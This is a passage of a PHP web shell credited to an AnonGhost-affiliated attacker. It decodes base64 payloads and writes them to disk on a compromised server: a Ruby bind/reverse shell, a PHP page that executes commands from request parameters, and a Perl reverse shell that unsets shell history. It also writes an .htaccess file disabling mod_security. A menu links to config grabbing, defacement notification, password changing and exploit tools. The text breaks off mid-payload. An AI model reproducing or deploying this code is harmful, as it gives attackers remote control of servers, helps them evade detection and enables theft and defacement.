$vkffhd = 'cmVxdWlyZSAnc29ja2V0Jw0KcmVxdWlyZSAncGF0aG5hbWUnDQogDQpkZWYgdXNhZ2UNCiAgICAgICAgcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KICAgICAgICBwcmludCAicmV2ZXJzZSA6XHJcbiAgcnVieSAiICsgRmlsZS5iYXNlbmFtZShfX0ZJTEVfXykgKyAiIFtwb3J0XSBbaG9zdF1cclxuIg0KZW5kDQogDQpkZWYgc3Vja3MNCiAgICAgICAgc3Vja3MgPSBmYWxzZQ0KICAgICAgICBpZiBSVUJZX1BMQVRGT1JNLmRvd25jYXNlLm1hdGNoKCdtc3dpbnx3aW58bWluZ3cnKQ0KICAgICAgICAgICAgICAgIHN1Y2tzID0gdHJ1ZQ0KICAgICAgICBlbmQNCiAgICAgICAgcmV0dXJuIHN1Y2tzDQplbmQNCiANCmRlZiByZWFscGF0aChzdHIpDQogICAgICAgIHJlYWwgPSBzdHINCiAgICAgICAgaWYgRmlsZS5leGlzdHM/KHN0cikNCiAgICAgICAgICAgICAgICBkID0gUGF0aG5hbWUubmV3KHN0cikNCiAgICAgICAgICAgICAgICByZWFsID0gZC5yZWFscGF0aC50b19zDQogICAgICAgIGVuZA0KICAgICAgICBpZiBzdWNrcw0KICAgICAgICAgICAgICAgIHJlYWwgPSByZWFsLmdzdWIoL1wvLywiXFwiKQ0KICAgICAgICBlbmQNCiAgICAgICAgcmV0dXJuIHJlYWwNCmVuZA0KIA0KaWYgQVJHVi5sZW5ndGggPT0gMQ0KICAgICAgICBpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQogICAgICAgICAgICAgICAgcG9ydCA9IEludGVnZXIoQVJHVlswXSkNCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHVzYWdlDQogICAgICAgICAgICAgICAgcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCiAgICAgICAgICAgICAgICBleGl0DQogICAgICAgIGVuZA0KICAgICAgICBzZXJ2ZXIgPSBUQ1BTZXJ2ZXIubmV3KCIiLCBwb3J0KQ0KICAgICAgICBzID0gc2VydmVyLmFjY2VwdA0KICAgICAgICBwb3J0ID0gcy5wZWVyYWRkclsxXQ0KICAgICAgICBuYW1lID0gcy5wZWVyYWRkclsyXQ0KICAgICAgICBzLnByaW50ICIqKiogY29ubmVjdGVkXHJcbiINCiAgICAgICAgcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQogICAgICAgIGJlZ2luDQogICAgICAgICAgICAgICAgaWYgbm90IHN1Y2tzDQogICAgICAgICAgICAgICAgICAgICAgICBmID0gcy50b19pDQogICAgICAgICAgICAgICAgICAgICAgICBleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICBzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIGxpbmUgPSBzLmdldHMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyrbQvDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIG5vdCBsaW5lLmNob21wID09ICIiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgbGluZSA9fiAvY2QgLiovaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUgPSByZWFscGF0aChsaW5lKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEaXIuY2hkaXIobGluZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzaWYgbGluZSA9fiAvXHc6LiovaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUuY2hvbXApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpci5jaGRpcihsaW5lLmNob21wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW5kDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJTy5wb3BlbihsaW5lLCJyIil7fGlvfHMucHJpbnQgaW8ucmVhZCArICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiJ9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW5kDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgZW5kDQogICAgICAgICAgICAgICAgZW5kDQogICAgICAgIHJlc2N1ZSBlcnJvckJybw0KICAgICAgICAgICAgICAgIHB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KICAgICAgICBlbnN1cmUNCiAgICAgICAgICAgICAgICBzLmNsb3NlDQogICAgICAgICAgICAgICAgcyA9IG5pbA0KICAgICAgICBlbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCiAgICAgICAgaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KICAgICAgICAgICAgICAgIHBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQogICAgICAgICAgICAgICAgaG9zdCA9IEFSR1ZbMV0NCiAgICAgICAgZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KICAgICAgICAgICAgICAgIHBvcnQgPSBJbnRlZ2VyKEFSR1ZbMV0pDQogICAgICAgICAgICAgICAgaG9zdCA9IEFSR1ZbMF0NCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHVzYWdlDQogICAgICAgICAgICAgICAgcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCiAgICAgICAgICAgICAgICBleGl0DQogICAgICAgIGVuZA0KICAgICAgICBzID0gVENQU29ja2V0Lm5ldygiI3tob3N0fSIsIHBvcnQpDQogICAgICAgIHBvcnQgPSBzLnBlZXJhZGRyWzFdDQogICAgICAgIG5hbWUgPSBzLnBlZXJhZGRyWzJdDQogICAgICAgIHMucHJpbnQgIioqKiBjb25uZWN0ZWRcclxuIg0KICAgICAgICBwdXRzICIqKiogY29ubmVjdGVkIDogI3tuYW1lfToje3BvcnR9Ig0KICAgICAgICBiZWdpbg0KICAgICAgICAgICAgICAgIGlmIG5vdCBzdWNrcw0KICAgICAgICAgICAgICAgICAgICAgICAgZiA9IHMudG9faQ0KICAgICAgICAgICAgICAgICAgICAgICAgZXhlYyBzcHJpbnRmKCIvYmluL3NoIC1pIFw8XCYlZCBcPlwmJWQgMlw+XCYlZCIsIGYsIGYsIGYpDQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSBsaW5lID0gcy5nZXRzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJhaXNlIGVycm9yQnJvIGlmIGxpbmUgPX4gL15kaWVccj8kLw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIGxpbmUgPX4gL2NkIC4qL2kNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUgPSBsaW5lLmdzdWIoL2NkIC9pLCAnJykuY2hvbXANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIEZpbGUuZGlyZWN0b3J5rbhsaW5lKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lID0gcmVhbHBhdGgobGluZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGlyLmNoZGlyKGxpbmUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbmQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIEZpbGUuZGlyZWN0b3J5rbhsaW5lLmNob21wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEaXIuY2hkaXIobGluZS5jaG9tcCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbmQNCiAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICByZXNjdWUgZXJyb3JCcm8NCiAgICAgICAgICAgICAgICBwdXRzICIqKiogI3tuYW1lfToje3BvcnR9IGRpc2Nvbm5lY3RlZCINCiAgICAgICAgZW5zdXJlDQogICAgICAgICAgICAgICAgcy5jbG9zZQ0KICAgICAgICAgICAgICAgIHMgPSBuaWwNCiAgICAgICAgZW5kDQplbHNlDQogICAgICAgIHVzYWdlDQogICAgICAgIGV4aXQNCmVuZA==';

$cvcvcv = fopen("revbackk.rb" ,"w+");
$write = fwrite ($cvcvcv ,base64_decode($vkffhd));
fclose($cvcvcv);
chmod("revbackk.rb",0755);

//extract php command shell
$merdeeeee = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBSdWJ5IEJhY2sgQ29ubmVjdCBTaGVsbDwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3MTQuMHp6MC5jb20vMjAxNC8wNi8wNC8yMS8zOTY1NTQzOTQucG5nIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7IGJhY2tncm91bmQtY29sb3I6ICMyMjIyMjIgIWltcG9ydGFudDsgY29sb3I6ICMwMDk5MDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7fSAgICAgIGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7IGZvbnQtZmFtaWx5OiBUYWhvbWEsIEdlbmV2YTsgY29sb3I6IzAwNzcwMDsgcGFkZGluZzoycHggMnB4O30gICAgICBhOmhvdmVye2NvbG9yOiMwMDk5MDA7IHRleHQtc2hhZG93OiMwMGZmMDAgMHB4IDBweCAzcHg7fQkgIC5hcmVhIHsgY29sb3I6ICMwMGJiMDA7IGZvbnQtc2l6ZTogOXB0OyB0ZXh0LXNoYWRvdzojMDAwMDAwIDBweCAycHggN3B4OyBib3JkZXI6IHNvbGlkIDBweCAjMDA3NzAwOyBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyB9CSAgaW5wdXRbdHlwZT1zdWJtaXRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NzA7ICBmb250LXdlaWdodDogYm9sZDsgdGV4dC1hbGlnbjogY2VudGVyOyAgdGV4dC1zaGFkb3c6IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsgIGJhY2tncm91bmQ6ICNhZWFlYWU7ICBiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94OyAgYm9yZGVyOiAxcHggc29saWQgIzI4NDQ3MzsgIGJvcmRlci1ib3R0b20tY29sb3I6ICMyMjNiNjY7ICBib3JkZXItcmFkaXVzOiA0cHg7ICBjdXJzb3I6IHBvaW50ZXI7ICBiYWNrZ3JvdW5kLWltYWdlOi13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZWFlYWVhLCAjZDBkMGQwKTsgIC13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7ICBib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgfSBpbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDt9IGlucHV0W3R5cGU9c3VibWl0XTpob3ZlciwgaW5wdXRbdHlwZT10ZXh0XTpob3ZlcnsgY29sb3I6ICNmZmZmZmY7IHRleHQtc2hhZG93OiAjMDA2NjAwIDBweCAwcHggNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7fSBzZWxlY3R7IHBhZGRpbmc6IDNweDsgd2lkdGg6IDE2MnB4OyBjb2xvcjogIzAwYWEwMDsgdGV4dC1zaGFkb3c6IzAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwYWEwMDsgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7fSBzZWxlY3Q6aG92ZXJ7IGJvcmRlcjogMXB4IHNvbGlkICMwMGRkMDA7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGRkMDA7ICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gICAjY29tbWFuZHN7IG1hcmdpbi1sZWZ0OiAzNTBweDsgbWFyZ2luLXJpZ2h0OiAzNTBweDsgfSBvcHRpb257IGNvbG9yOiAjNzc3Nzc3OyB9PC9zdHlsZT4NCjw/cGhwDQplY2hvICc8YnI+PGNlbnRlcj48Yj48Zm9udCBjb2xvcj0iIzAwNzcwMCIgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij5Db21tYW5kOiBydWJ5ICcuZ2V0Y3dkKCkuJy9yZXZiYWNray5yYiBwb3J0IGhvc3Q8L2ZvbnQ+PC9iPjxjZW50ZXI+PGJyPic7DQplY2hvICc8Zm9udCBmYWNlPSJUYWhvbWEiIGFsaWduPSJjZW50ZXIiIHNpemU9IjIiIGNvbG9yPSJncmVlbiI+IENvZGVkIEJ5IE1hdXJpdGFuaWEgQXR0YWNrZXIgPC9mb250Pic7DQplY2hvJzxwIGFsaWduPSJjZW50ZXIiPiA8aW1nIHNyYz0iaHR0cHM6Ly93d3ctdHJvcG8tY29tLnMzLmFtYXpvbmF3cy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTAvMDgvcnVieS1sb2dvLTUxMjEucG5nIiAgd2lkdGg9IjE3NCIgaGVpZ2h0PSIyMDAiID48L3A+DQo8Zm9ybSBtZXRob2Q9Z2V0IGFjdGlvbj0iJy4kbWUuJyI+DQo8cD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIHJvd3M9IjEzIiBuYW1lPSJTMSIgY29scz0iNzAiID4nOw0KDQppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfR0VUWydleGVjbWV0aG9kJ10oJF9HRVRbJ2NvbW1hbmQnXSk7fQ0KaWYgKHN0cmxlbigkX1BPU1RbJ2NvbW1hbmQnXSk+MSAmJiAkX1BPU1RbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfUE9TVFsnZXhlY21ldGhvZCddKCRfUE9TVFsnY29tbWFuZCddKTt9DQoNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddPT0icG9wZW4iKXsNCnBvcGVuKCRfR0VUWydjb21tYW5kJ10sInIiKTt9DQoNCmVjaG8nPC90ZXh0YXJlYT48L3A+DQo8cD48Y2VudGVyPjxmb250IGZhY2U9IkdlbmV2YSIgYWxpZ249ImNlbnRlciIgc2l6ZT0iMiIgY29sb3I9IiMwMDc3MDAiPklmIG5vdGhpbmcgd29yayBpdCBtZWFucyB0aGF0IHJ1YnkgaXMgbm90IGVuYWJsZWQgaW4gdGhpcyBzZXJ2ZXIgOig8L2ZvbnQ+PC9jZW50ZXI+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8Zm9udCBmYWNlPSJHZW5ldmEiIGFsaWduPSJjZW50ZXIiIHNpemU9IjMiIGNvbG9yPSIjMDA5OTAwIj5Db21tYW5kOiBydWJ5ICcuZ2V0Y3dkKCkuJy9yZXZiYWNray5yYiBwb3J0IGhvc3Q8L2ZvbnQ+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InZ3IiBzaXplPSI1MCIgdmFsdWU9ImNtZCI+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21tYW5kIiBzaXplPSI0MyI+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KPG9wdGlvbiB2YWx1ZT0ic3lzdGVtIj5TeXN0ZW08L29wdGlvbj4gIDxvcHRpb24gdmFsdWU9ImV4ZWMiPkV4ZWM8L29wdGlvbj4gIDxvcHRpb24gdmFsdWU9InBhc3N0aHJ1Ij5QYXNzdGhydTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBvcGVuIj5wb3Blbjwvb3B0aW9uPg0KPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIj4NCjwvcD48L2Zvcm0+JzsNCj8+';
$file = fopen("rubbbber.php" ,"w+");
$write = fwrite ($file ,base64_decode($merdeeeee));
fclose($file);

echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Ruby Back Connect Shell</span><center><br><iframe src=rubrub/rubbbber.php width=75% height=60% frameborder=0></iframe></div></center>"; 
}


if(isset($_GET['action']) && $_GET['action'] == 'prlbckacnonect'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';

mkdir('Backperlrev', 0755);
chdir('Backperlrev');
$kokwkwkwkwkw = ".htaccess";
$wkwkwkwkw_adi = "$kokwkwkwkwkw";
$wkwkwkwkw = fopen ($wkwkwkwkw_adi , 'w') or die ("wkwkwkwkw a&#231;&#305;lamad&#305;!");
$zilzil = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>";    
fwrite ( $wkwkwkwkw , $zilzil ) ;
fclose ($wkwkwkwkw);
$shellololol = 'dXNlIElPOjpTb2NrZXQ7DQokc3lzdGVtICA9ICcvYmluL2Jhc2gnOw0KJEFSR0M9QEFSR1Y7DQpwcmludCAiQW5vbkdob3N0IEJBQ0stQ09OTkVDVCBCQUNLRE9PUlxuXG4iOw0KaWYgKCRBUkdDIT0yKSB7DQogICBwcmludCAiVXNhZ2U6ICQwIFtIb3N0XSBbUG9ydF0gXG5cbiI7DQogICBkaWUgIkV4OiAkMCAxMjcuMC4wLjEgMjEyMSBcbiI7DQp9DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0IDooXG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdCA6KFxuIjsNCnByaW50ICJbKl0gUmVzb2x2aW5nIEhvc3ROYW1lXG4iOw0KcHJpbnQgIlsqXSBDb25uZWN0aW5nLi4uICRBUkdWWzBdIFxuIjsNCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGwgXG4iOw0KcHJpbnQgIlsqXSBDb25uZWN0ZWQgdG8gcmVtb3RlIGhvc3QgXCEvIFxuIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiQW5vbkdob3N0IEJBQ0stQ09OTkVDVCBCQUNLRE9PUiAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVDtlY2hvIC0tPT1TeXN0ZW1pbmZvPT0tLTsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLTsgaWQ7ZWNobztlY2hvIC0tPT1EaXJlY3Rvcnk9PS0tOyBwd2Q7ZWNobzsgZWNobyAtLT09U2hlbGw9PS0tICIpOw0Kc3lzdGVtKCRzeXN0ZW0pOw==';

$zerer = fopen("reverse.pl" ,"w+");
$write = fwrite ($zerer ,base64_decode($shellololol));
fclose($zerer);
chmod("reverse.pl",0755);

//extract php command shell
$zonop = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQZXJsIENvbm5lY3QgU2hlbGwgUHJpdjg8L3RpdGxlPjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3d3dzE0LjB6ejAuY29tLzIwMTQvMDYvMDQvMjEvMzk2NTU0Mzk0LnBuZyIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5eyBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyICFpbXBvcnRhbnQ7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzojMDAwIDBweCAycHggN3B4O30gICAgICBhe3RleHQtZGVjb3JhdGlvbjpub25lOyBmb250LWZhbWlseTogVGFob21hLCBHZW5ldmE7IGNvbG9yOiMwMDc3MDA7IHBhZGRpbmc6MnB4IDJweDt9ICAgICAgYTpob3Zlcntjb2xvcjojMDA5OTAwOyB0ZXh0LXNoYWRvdzojMDBmZjAwIDBweCAwcHggM3B4O30JICAuYXJlYSB7IGNvbG9yOiAjMDBiYjAwOyBmb250LXNpemU6IDlwdDsgdGV4dC1zaGFkb3c6IzAwMDAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiBzb2xpZCAwcHggIzAwNzcwMDsgYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwOTkwMDsgICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgI